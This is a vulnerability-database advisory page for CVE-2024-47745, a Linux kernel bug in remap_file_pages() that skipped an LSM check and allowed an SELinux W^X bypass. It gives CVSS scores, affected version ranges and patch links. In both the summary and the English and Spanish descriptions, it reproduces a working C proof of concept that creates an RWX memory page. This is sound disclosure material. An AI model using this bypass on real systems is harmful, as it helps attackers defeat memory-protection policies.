fkie_cve-2024-47745
Vulnerability from fkie_nvd
Published
2024-10-21 13:15
Modified
2024-12-14 21:15
Severity ?
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Summary
In the Linux kernel, the following vulnerability has been resolved: mm: call the security_mmap_file() LSM hook in remap_file_pages() The remap_file_pages syscall handler calls do_mmap() directly, which doesn't contain the LSM security check. And if the process has called personality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for RW pages, this will actually result in remapping the pages to RWX, bypassing a W^X policy enforced by SELinux. So we should check prot by security_mmap_file LSM hook in the remap_file_pages syscall handler before do_mmap() is called. Otherwise, it potentially permits an attacker to bypass a W^X policy enforced by SELinux. The bypass is similar to CVE-2016-10044, which bypass the same thing via AIO and can be found in [1]. The PoC: $ cat > test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, "test", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // show the RWX page exists even if W^X policy is enforced int fd = open("/proc/self/maps", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret <= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted) [PM: subject line tweaks]
References
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89Patch
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178Patch
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3Patch
416baaa9-dc9f-4396-8d5f-8c081fb06d67https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2Patch
Impacted products
Vendor Product Version
linux linux_kernel *
linux linux_kernel *
linux linux_kernel *


To clipboard 

{
   configurations: [
      {
         nodes: [
            {
               cpeMatch: [
                  {
                     criteria: "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                     matchCriteriaId: "C071AD88-76A0-45A5-9C1C-8DA6DBF2084B",
                     versionEndExcluding: "6.6.54",
                     vulnerable: true,
                  },
                  {
                     criteria: "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                     matchCriteriaId: "CE94BB8D-B0AB-4563-9ED7-A12122B56EBE",
                     versionEndExcluding: "6.10.13",
                     versionStartIncluding: "6.7",
                     vulnerable: true,
                  },
                  {
                     criteria: "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                     matchCriteriaId: "AB755D26-97F4-43B6-8604-CD076811E181",
                     versionEndExcluding: "6.11.2",
                     versionStartIncluding: "6.11",
                     vulnerable: true,
                  },
               ],
               negate: false,
               operator: "OR",
            },
         ],
      },
   ],
   cveTags: [],
   descriptions: [
      {
         lang: "en",
         value: "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat > test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret <= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]",
      },
      {
         lang: "es",
         value: "En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: mm: llamar al gancho LSM security_mmap_file() en remap_file_pages() El controlador de llamadas al sistema remap_file_pages llama a do_mmap() directamente, que no contiene la comprobación de seguridad LSM. Y si el proceso ha llamado a personality(READ_IMPLIES_EXEC) antes y se llama a remap_file_pages() para páginas RW, esto realmente dará como resultado la reasignación de las páginas a RWX, omitiendo una política W^X aplicada por SELinux. Por lo tanto, deberíamos comprobar prot mediante el gancho LSM security_mmap_file en el controlador de llamadas al sistema remap_file_pages antes de que se llame a do_mmap(). De lo contrario, potencialmente permite que un atacante omita una política W^X aplicada por SELinux. La omisión es similar a CVE-2016-10044, que omite lo mismo a través de AIO y se puede encontrar en [1]. La PoC: $ cat &gt; test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, \"test\", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // muestra que la página RWX existe incluso si se aplica la política W^X int fd = open(\"/proc/self/maps\", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret &lt;= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (eliminado) [MP: ajustes en la línea de asunto]",
      },
   ],
   id: "CVE-2024-47745",
   lastModified: "2024-12-14T21:15:26.217",
   metrics: {
      cvssMetricV31: [
         {
            cvssData: {
               attackComplexity: "LOW",
               attackVector: "LOCAL",
               availabilityImpact: "HIGH",
               baseScore: 7.8,
               baseSeverity: "HIGH",
               confidentialityImpact: "HIGH",
               integrityImpact: "HIGH",
               privilegesRequired: "LOW",
               scope: "UNCHANGED",
               userInteraction: "NONE",
               vectorString: "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
               version: "3.1",
            },
            exploitabilityScore: 1.8,
            impactScore: 5.9,
            source: "nvd@nist.gov",
            type: "Primary",
         },
      ],
   },
   published: "2024-10-21T13:15:04.580",
   references: [
      {
         source: "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
         url: "https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1",
      },
      {
         source: "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
         tags: [
            "Patch",
         ],
         url: "https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89",
      },
      {
         source: "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
         tags: [
            "Patch",
         ],
         url: "https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178",
      },
      {
         source: "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
         tags: [
            "Patch",
         ],
         url: "https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3",
      },
      {
         source: "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
         tags: [
            "Patch",
         ],
         url: "https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2",
      },
   ],
   sourceIdentifier: "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
   vulnStatus: "Modified",
   weaknesses: [
      {
         description: [
            {
               lang: "en",
               value: "CWE-670",
            },
         ],
         source: "nvd@nist.gov",
         type: "Primary",
      },
   ],
}


Log in or create an account to share your comment.

Security Advisory comment format.

This schema specifies the format of a comment related to a security advisory.

UUIDv4 of the comment
UUIDv4 of the Vulnerability-Lookup instance
When the comment was created originally
When the comment was last updated
Title of the comment
Description of the comment
The identifier of the vulnerability (CVE ID, GHSA-ID, PYSEC ID, etc.).



Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.